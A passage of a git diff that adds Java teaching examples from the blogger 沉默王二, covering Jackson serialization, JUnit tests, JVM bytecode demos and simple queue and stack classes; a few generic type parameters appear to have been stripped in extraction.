+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class CustomSerializer extends StdSerializer {
+
+ protected CustomSerializer(Class t) {
+ super(t);
+ }
+
+ public CustomSerializer() {
+ this(null);
+ }
+
+ @Override
+ public void serialize(Man value, JsonGenerator gen, SerializerProvider provider) throws IOException {
+ gen.writeStartObject();
+ gen.writeStringField("name", value.getName());
+ gen.writeEndObject();
+ }
+
+ public static void main(String[] args) throws JsonProcessingException {
+ObjectMapper mapper = new ObjectMapper();
+SimpleModule module =
+ new SimpleModule("CustomSerializer", new Version(1, 0, 0, null, null, null));
+module.addSerializer(Man.class, new CustomSerializer());
+mapper.registerModule(module);
+Man man = new Man( 18,"沉默王二");
+String json = mapper.writeValueAsString(man);
+System.out.println(json);
+ }
+}
+
+class Man{
+ private int age;
+ private String name;
+
+ public Man(int age, String name) {
+ this.age = age;
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java
new file mode 100644
index 0000000000..30d4df4f1d
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java
@@ -0,0 +1,97 @@
+package com.itwanger.jackson;
+
+import com.fasterxml.jackson.annotation.JsonFormat;
+import com.fasterxml.jackson.annotation.JsonIgnore;
+import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
+import com.fasterxml.jackson.annotation.JsonInclude;
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.databind.DeserializationFeature;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.SerializationFeature;
+import com.fasterxml.jackson.databind.util.StdDateFormat;
+
+import java.util.Date;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class Demo {
+ public static void main(String[] args) throws JsonProcessingException {
+ ObjectMapper mapper = new ObjectMapper();
+ mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+//在序列化时忽略值为 null 的属性
+mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
+//忽略值为默认值的属性
+mapper.setDefaultPropertyInclusion(JsonInclude.Include.NON_DEFAULT);
+mapper.setDateFormat(StdDateFormat.getDateTimeInstance());
+
+ Writer wanger = new Writer("沉默王二", 18);
+ wanger.setBirthday(new Date());
+ String jsonString = mapper.writerWithDefaultPrettyPrinter()
+ .writeValueAsString(wanger);
+
+ System.out.println(jsonString);
+
+
+ jsonString = "{\n" +
+ " \"name\" : null,\n" +
+ " \"age\" : 18,\n" +
+ " \"sex\" : \"男\"\n" +
+ "}";
+ Writer deserializedWriter = mapper.readValue(jsonString, Writer.class);
+ System.out.println(deserializedWriter);
+ }
+}
+
+@JsonIgnoreProperties(value = { "age","birthday" })
+class Writer{
+ private String name;
+ private int age;
+private Date birthday;
+
+// GMT+8 是指格林尼治的标准时间,在加上八个小时表示你现在所在时区的时间
+//@JsonFormat(timezone = "CST+8",pattern = "yyyy-MM-dd HH:mm:ss")
+public Date getBirthday() {
+ return birthday;
+}
+
+public void setBirthday(Date birthday) {
+ this.birthday = birthday;
+}
+
+ public Writer(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public Writer() {
+ }
+
+//@JsonIgnore
+public String getName() {
+ return name;
+}
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ @Override
+ public String toString() {
+ return "Writer{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ '}';
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java
new file mode 100644
index 0000000000..61ffa44ffe
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java
@@ -0,0 +1,21 @@
+package com.itwanger.jackson;
+
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class JsonNodeDemo {
+ public static void main(String[] args) throws JsonProcessingException {
+ ObjectMapper mapper = new ObjectMapper();
+ String json = "{ \"name\" : \"沉默王二\", \"age\" : 18 }";
+ JsonNode jsonNode = mapper.readTree(json);
+ String name = jsonNode.get("name").asText();
+ System.out.println(name);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java
new file mode 100644
index 0000000000..0b85f442a6
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java
@@ -0,0 +1,50 @@
+package com.itwanger.jackson;
+
+import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.core.type.TypeReference;
+import com.fasterxml.jackson.databind.ObjectMapper;
+
+import java.util.List;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/26
+ */
+public class TypeReferenceDemo {
+ public static void main(String[] args) throws JsonProcessingException {
+ ObjectMapper mapper = new ObjectMapper();
+ String json = "[{ \"name\" : \"沉默王三\", \"age\" : 18 }, { \"name\" : \"沉默王二\", \"age\" : 19 }]";
+ List listAuthor = mapper.readValue(json, new TypeReference>(){});
+ System.out.println(listAuthor);
+ }
+}
+class Author{
+ private String name;
+ private int age;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ @Override
+ public String toString() {
+ return "Writer{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ '}';
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java b/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java
new file mode 100644
index 0000000000..fa8cd44a04
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java
@@ -0,0 +1,16 @@
+package com.itwanger.junit;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/28
+ */
+public class Calculator {
+ public int sub(int a, int b) {
+ return a - b;
+ }
+ public int add(int a, int b) {
+ return a + b;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java b/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java
new file mode 100644
index 0000000000..3c37b1f650
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java
@@ -0,0 +1,38 @@
+package com.itwanger.junit;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/28
+ */
+class CalculatorTest {
+ Calculator calculator;
+
+ @BeforeEach
+ void setUp() {
+ calculator = new Calculator();
+ }
+
+ @AfterEach
+ void tearDown() {
+ calculator = null;
+ }
+
+
+ @Test
+ void sub() {
+ assertEquals(0,calculator.sub(1,1));
+ }
+
+ @Test
+ void add() {
+ assertEquals(2,calculator.add(1,1));
+ }
+}
\ No newline at end of file
diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java b/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java
new file mode 100644
index 0000000000..05f2d94726
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java
@@ -0,0 +1,21 @@
+package com.itwanger.junit;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/28
+ */
+public class Factorial {
+ public static long fact(long n) {
+ if (n < 0) {
+ throw new IllegalArgumentException("参数不能小于 0");
+ }
+ long r = 1;
+ for (long i = 1; i <= n; i++) {
+ r = r * i;
+ }
+ return r;
+ }
+}
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java b/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java
new file mode 100644
index 0000000000..9cd9a34fbc
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java
@@ -0,0 +1,43 @@
+package com.itwanger.junit;
+
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.function.Executable;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/12/28
+ */
+class FactorialTest {
+
+ @Test
+ void fact() {
+ assertEquals(1, Factorial.fact(1));
+ assertEquals(2, Factorial.fact(2));
+ assertEquals(6, Factorial.fact(3));
+ assertEquals(120, Factorial.fact(5));
+ }
+
+ @Test
+ void factIllegalArgument() {
+ assertThrows(IllegalArgumentException.class, new Executable() {
+ @Override
+ public void execute() throws Throwable {
+ Factorial.fact(-2);
+ }
+ });
+ }
+
+ @Test
+ void factIllegalArgumentLambda() {
+ assertThrows(IllegalArgumentException.class, () -> {
+ Factorial.fact(-2);
+ });
+ }
+}
+
+
+
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java
new file mode 100644
index 0000000000..c8b66db7dd
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java
@@ -0,0 +1,8 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class AttributeTest {
+ public static final int DEFAULT_SIZE = 128;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java
new file mode 100644
index 0000000000..0b5a5c2d5c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java
@@ -0,0 +1,8 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public enum Color {
+ RED,GREEN,BLUE;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java
new file mode 100644
index 0000000000..95bbef0d19
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java
@@ -0,0 +1,12 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class ConstantTest {
+ public final boolean bool = true;
+ public final char aChar = 'a';
+ public final byte b = 66;
+ public final short s = 67;
+ public final int i = 68;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java
new file mode 100644
index 0000000000..18fd1a177b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java
@@ -0,0 +1,45 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Dup {
+ int age;
+ public int incAndGet() {
+ return ++age;
+ }
+
+public void lcmp(long a, long b) {
+ if(a > b){}
+}
+
+public void fi() {
+ int a = 0;
+ if (a == 0) {
+ a = 10;
+ } else {
+ a = 20;
+ }
+}
+
+public void compare() {
+ int i = 10;
+ int j = 20;
+ System.out.println(i > j);
+}
+
+public void switchTest(int select) {
+ int num;
+ switch (select) {
+ case 1:
+ num = 10;
+ break;
+ case 2:
+ case 3:
+ num = 30;
+ break;
+ default:
+ num = 40;
+ }
+}
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java b/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java
new file mode 100644
index 0000000000..2895fd1d52
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java
@@ -0,0 +1,33 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class DynamicLinking {
+ static abstract class Human {
+ protected abstract void sayHello();
+ }
+
+ static class Man extends Human {
+ @Override
+ protected void sayHello() {
+ System.out.println("男人哭吧哭吧不是罪");
+ }
+ }
+
+ static class Woman extends Human {
+ @Override
+ protected void sayHello() {
+ System.out.println("山下的女人是老虎");
+ }
+ }
+
+ public static void main(String[] args) {
+ Human man = new Man();
+ Human woman = new Woman();
+ man.sayHello();
+ woman.sayHello();
+ man = new Woman();
+ man.sayHello();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java
new file mode 100644
index 0000000000..4694fc1b8a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java
@@ -0,0 +1,8 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class FieldsTest {
+ private String name;
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java
new file mode 100644
index 0000000000..39fdb50ab6
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java
@@ -0,0 +1,10 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Hello {
+ public static void main(String[] args) {
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java b/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java
new file mode 100644
index 0000000000..8c14111142
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java
@@ -0,0 +1,27 @@
+package com.itwanger.jvm;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class InvokeExamples {
+ private void run() {
+ List ls = new ArrayList();
+ ls.add("难顶");
+
+ ArrayList als = new ArrayList();
+ als.add("学不动了");
+ }
+
+ public static void print() {
+ System.out.println("invokestatic");
+ }
+
+ public static void main(String[] args) {
+ print();
+ InvokeExamples invoke = new InvokeExamples();
+ invoke.run();
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java b/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java
new file mode 100644
index 0000000000..878b84efa8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java
@@ -0,0 +1,29 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class LocalVaraiablesTable {
+ private void write(int age) {
+ String name = "沉默王二";
+ }
+
+public static void method() {
+ // ①
+ if (true) {
+ // ②
+ String name = "沉默王二";
+ }
+ // ③
+ if(true) {
+ // ④
+ int age = 18;
+ }
+ // ⑤
+}
+
+public void solt() {
+ double d = 1.0;
+ int i = 1;
+}
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java
new file mode 100644
index 0000000000..9efe66cd32
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java
@@ -0,0 +1,75 @@
+package com.itwanger.jvm;
+
+import java.io.File;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Main {
+ private int age = 18;
+ public int getAge() {
+ return age;
+ }
+
+private void load(int age, String name, long birthday, boolean sex) {
+ System.out.println(age + name + birthday + sex);
+}
+
+public void pushConstLdc() {
+ // 范围 [-1,5]
+ int iconst = -1;
+ // 范围 [-128,127]
+ int bipush = 127;
+ // 范围 [-32768,32767]
+ int sipush= 32767;
+ // 其他 int
+ int ldc = 32768;
+ String aconst = null;
+ String IdcString = "沉默王二";
+}
+
+public void store(int age, String name) {
+ int temp = age + 2;
+ String str = name;
+}
+
+public void infinityNaN() {
+ int i = 10;
+ double j = i / 0.0;
+ System.out.println(j); // Infinity
+
+ double d1 = 0.0;
+ double d2 = d1 / 0.0;
+ System.out.println(d2); // NaN
+}
+
+ public static void main(String[] args) {
+ Main main = new Main();
+ main.newObject();
+ }
+
+public void calculate(int age) {
+ int add = age + 1;
+ int sub = age - 1;
+ int mul = age * 2;
+ int div = age / 3;
+ int rem = age % 4;
+ age++;
+ age--;
+}
+
+public void updown() {
+ int i = 10;
+ double d = i;
+
+ float f = 10f;
+ long ong = (long)f;
+}
+
+public void newObject() {
+ int [] ages = new int[100];
+ String name = new String("沉默王二");
+ File file = new File("无愁河的浪荡汉子.book");
+}
+
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java
new file mode 100644
index 0000000000..eff21d20b5
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java
@@ -0,0 +1,13 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class MethodCode {
+ public static void main(String[] args) {
+ foo();
+ }
+
+ private static void foo() {
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java
new file mode 100644
index 0000000000..f1486fc7dd
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java
@@ -0,0 +1,10 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class MethodsTest {
+ public static void main(String[] args) {
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java b/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java
new file mode 100644
index 0000000000..595b59cc71
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java
@@ -0,0 +1,14 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class OperandStack {
+ public void test() {
+ add(1,2);
+ }
+
+ private int add(int a, int b) {
+ return a + b;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java
new file mode 100644
index 0000000000..97335eeda4
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java
@@ -0,0 +1,19 @@
+package com.itwanger.jvm;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Writer {
+ private String name;
+ static String mark = "作者";
+
+ public static void main(String[] args) {
+ print(mark);
+ Writer w = new Writer();
+ print(w.name);
+ }
+
+ public static void print(String arg) {
+ System.out.println(arg);
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java
new file mode 100644
index 0000000000..47e0b1be3c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java
@@ -0,0 +1,10 @@
+package com.itwanger.one;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class HelloWorld {
+ public static void main(String[] args) {
+ System.out.println("Hello World");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java
new file mode 100644
index 0000000000..2e52985c8b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java
@@ -0,0 +1,14 @@
+package com.itwanger.overriding;
+
+import java.io.IOException;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public abstract class Animal implements Wuti{
+ protected void eat() { }
+
+ static void sleep() {
+ System.out.println("动物在睡觉");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java
new file mode 100644
index 0000000000..ef60a69e8a
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java
@@ -0,0 +1,21 @@
+package com.itwanger.overriding;
+
+import java.io.FileNotFoundException;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Dog extends Animal {
+ public void eat() {
+ super.eat();
+ }
+
+ @Override
+ public void move() {
+
+ }
+
+ static void sleep() {
+ System.out.println("狗狗在睡觉");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java
new file mode 100644
index 0000000000..be0e69f6cf
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Wuti.java
@@ -0,0 +1,8 @@
+package com.itwanger.overriding;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public interface Wuti {
+ void move();
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java b/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java
new file mode 100644
index 0000000000..3fad68c53b
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/queue/CQueue.java
@@ -0,0 +1,96 @@
+package com.itwanger.queue;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class CQueue {
+ int SIZE = 5;
+ int items[] = new int[SIZE];
+ int front, rear;
+
+CQueue() {
+ front = -1;
+ rear = -1;
+}
+
+void enQueue(int element) {
+ if (isFull()) {
+ System.out.println("队列已经满了");
+ } else {
+ if (front == -1)
+ front = 0;
+ rear = (rear + 1) % SIZE;
+ items[rear] = element;
+ System.out.println("插入 " + element);
+ }
+}
+
+int deQueue() {
+ int element;
+ if (isEmpty()) {
+ System.out.println("队列空了");
+ return (-1);
+ } else {
+ element = items[front];
+ if (front >= rear) {
+ front = -1;
+ rear = -1;
+ }
+ else {
+ front = (front + 1) % SIZE;
+ }
+ System.out.println("删除 -> " + element);
+ return (element);
+ }
+}
+
+boolean isFull() {
+ if (front == 0 && rear == SIZE - 1) {
+ return true;
+ }
+
+ if (front == rear + 1) {
+ return true;
+ }
+ return false;
+}
+
+boolean isEmpty() {
+ if (front == -1)
+ return true;
+ else
+ return false;
+}
+
+void display() {
+ int i;
+ if (isEmpty()) {
+ System.out.println("队列为空");
+ } else {
+ System.out.println("\n队首的下标-> " + front);
+ System.out.println("元素 -> ");
+ for (i = front; i <= rear; i++)
+ System.out.print(items[i] + " ");
+
+ System.out.println("\n队尾的下标-> " + rear);
+ }
+}
+
+public static void main(String[] args) {
+CQueue q = new CQueue();
+
+// enQueue 5 elements
+q.enQueue(1);
+q.enQueue(2);
+q.enQueue(3);
+q.enQueue(4);
+q.enQueue(5);
+
+// 出队
+q.deQueue();
+q.deQueue();
+
+q.enQueue(6);
+q.enQueue(7);
+}
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java b/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java
new file mode 100644
index 0000000000..38a824fcca
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/queue/Queue.java
@@ -0,0 +1,92 @@
+package com.itwanger.queue;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Queue {
+ int SIZE = 5;
+ int items[] = new int[SIZE];
+ int front, rear;
+
+Queue() {
+ front = -1;
+ rear = -1;
+}
+
+void enQueue(int element) {
+ if (isFull()) {
+ System.out.println("队列已经满了");
+ } else {
+ if (front == -1)
+ front = 0;
+ rear++;
+ items[rear] = element;
+ System.out.println("插入 " + element);
+ }
+}
+
+int deQueue() {
+ int element;
+ if (isEmpty()) {
+ System.out.println("队列空了");
+ return (-1);
+ } else {
+ element = items[front];
+ if (front >= rear) {
+ front = -1;
+ rear = -1;
+ }
+ else {
+ front++;
+ }
+ System.out.println("删除 -> " + element);
+ return (element);
+ }
+}
+
+boolean isFull() {
+ if (front == 0 && rear == SIZE - 1) {
+ return true;
+ }
+ return false;
+}
+
+boolean isEmpty() {
+ if (front == -1)
+ return true;
+ else
+ return false;
+}
+
+void display() {
+ int i;
+ if (isEmpty()) {
+ System.out.println("队列为空");
+ } else {
+ System.out.println("\n队首的下标-> " + front);
+ System.out.println("元素 -> ");
+ for (i = front; i <= rear; i++)
+ System.out.print(items[i] + " ");
+
+ System.out.println("\n队尾的下标-> " + rear);
+ }
+}
+
+public static void main(String[] args) {
+Queue q = new Queue();
+
+// enQueue 5 elements
+q.enQueue(1);
+q.enQueue(2);
+q.enQueue(3);
+q.enQueue(4);
+q.enQueue(5);
+
+// 出队
+q.deQueue();
+q.deQueue();
+
+q.enQueue(6);
+q.enQueue(7);
+}
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java b/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java
new file mode 100644
index 0000000000..25a8cc63cc
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/shiliu2shi/Test.java
@@ -0,0 +1,32 @@
+package com.itwanger.shiliu2shi;
+
+import cn.hutool.core.util.CharsetUtil;
+import cn.hutool.core.util.HexUtil;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Test {
+ public static void main(String[] args) {
+ System.out.println("十六进制转十进制 " + Integer.parseInt("0037",16));
+
+ System.out.println(HexUtil.decodeHexStr("37"));
+
+ int shi = 50;
+ System.out.println(shi + "十进制转十六进制" + Integer.toHexString(shi));
+
+ String str = "ConstantValue";
+ String strResult = HexUtil.encodeHexStr(str, CharsetUtil.CHARSET_UTF_8);
+ System.out.println(str + "字符串转十六进制" + strResult + " 字节大小" + strResult.length() / 2);
+
+ System.out.println("十六进制转二进制" + hexStringToByte("0020"));
+
+ System.out.println(Integer.toHexString(0x0001 | 0x0020));
+ }
+
+ public static String hexStringToByte(String hex) {
+ int i = Integer.parseInt(hex, 16);
+ String str2 = Integer.toBinaryString(i);
+ return str2;
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java b/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java
new file mode 100644
index 0000000000..a1570201f8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/sixteen/Person.java
@@ -0,0 +1,25 @@
+package com.itwanger.sixteen;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/19
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ private void eat() {
+
+ }
+
+ private void sleep() {
+
+ }
+
+ private void dadoudou() {
+
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java b/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java
new file mode 100644
index 0000000000..0777d6cdf8
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/sixteen/Pig.java
@@ -0,0 +1,15 @@
+package com.itwanger.sixteen;
+
+/**
+ * 微信搜索「沉默王二」,回复 Java
+ *
+ * @author 沉默王二
+ * @date 2020/11/19
+ */
+public class Pig {
+ private String color;
+
+ public void eat() {
+ System.out.println("吃");
+ }
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java b/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java
new file mode 100644
index 0000000000..1a4c257ab3
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/stack/Stack.java
@@ -0,0 +1,72 @@
+package com.itwanger.stack;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+class Stack {
+ private int arr[];
+ private int top;
+ private int capacity;
+
+ // 初始化栈
+Stack(int size) {
+ arr = new int[size];
+ capacity = size;
+ top = -1;
+}
+
+ // 往栈中压入元素
+public void push(int x) {
+ if (isFull()) {
+ System.out.println("溢出\n程序终止\n");
+ System.exit(1);
+ }
+
+ System.out.println("压入 " + x);
+ arr[++top] = x;
+}
+
+ // 从栈中弹出元素
+public int pop() {
+ if (isEmpty()) {
+ System.out.println("栈是空的");
+ System.exit(1);
+ }
+ return arr[top--];
+}
+
+// 返回栈的大小
+public int size() {
+ return top + 1;
+}
+
+// 检查栈是否为空
+public Boolean isEmpty() {
+ return top == -1;
+}
+
+// 检查栈是否已经满了
+public Boolean isFull() {
+ return top == capacity - 1;
+}
+
+public void printStack() {
+ for (int i = 0; i <= top; i++) {
+ System.out.println(arr[i]);
+ }
+}
+
+public static void main(String[] args) {
+ Stack stack = new Stack(5);
+
+ stack.push(1);
+ stack.push(2);
+ stack.push(3);
+ stack.push(4);
+
+ stack.pop();
+ System.out.println("\n弹出元素后");
+
+ stack.printStack();
+}
+}
diff --git a/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java b/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java
new file mode 100644
index 0000000000..66a3405a7c
--- /dev/null
+++ b/codes/TechSister/src/main/java/com/itwanger/strman/Demo.java
@@ -0,0 +1,104 @@
+package com.itwanger.strman;
+
+import strman.Strman;
+
+import java.nio.charset.StandardCharsets;
